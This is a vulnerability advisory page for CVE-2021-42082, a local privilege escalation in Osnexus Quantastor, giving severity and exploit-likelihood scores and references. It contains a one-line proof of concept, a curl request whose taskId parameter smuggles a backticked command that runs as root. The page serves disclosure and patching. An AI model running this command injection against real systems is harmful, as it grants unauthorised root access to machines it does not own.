Privilege escalation in Osnexus Quantastor
CVE-2021-42082
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Vulnerability class: Privilege Escalation
Published · last modified .
CVSS v3 metric
CVSS v3 base score 7.8 (High). Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
EPSS exploit prediction
EPSS: 0.002 (7.2th percentile), scored .
Very low probability of exploitation in the next 30 days; routine patching cadence is appropriate. 7th percentile — 7.2% of CVEs in the catalogue have a lower EPSS than this one. How to read EPSS.
EPSS over last 30 days · oldest: 0.002 · newest: 0.002 · change: 0.000
Affected products
- Osnexus Quantastor — versions 0
Weakness classification (CWE)
References
- www.wbsec.nl/osnexus (technical-description, Third Party Advisory, exploit, third-party-advisory)
- csirt.divd.nl/DIVD-2021-00020/ (third-party-advisory)
- www.osnexus.com/products/software-defined-storage (Product, product)
- csirt.divd.nl/CVE-2021-42082 (technical-description, Third Party Advisory, exploit, third-party-advisory)
- af854a3a-2127-422b-91ae-364da2661108
Frequently asked questions
- What is CVE-2021-42082?
- CVE-2021-42082 is a high-severity vulnerability in Osnexus Quantastor, classified under Improper Privilege Management. CVSS score: 7.8/10. Published 2023-07-10.
- How severe is CVE-2021-42082?
- High severity. CVSS v3 base score is 7.8 out of 10.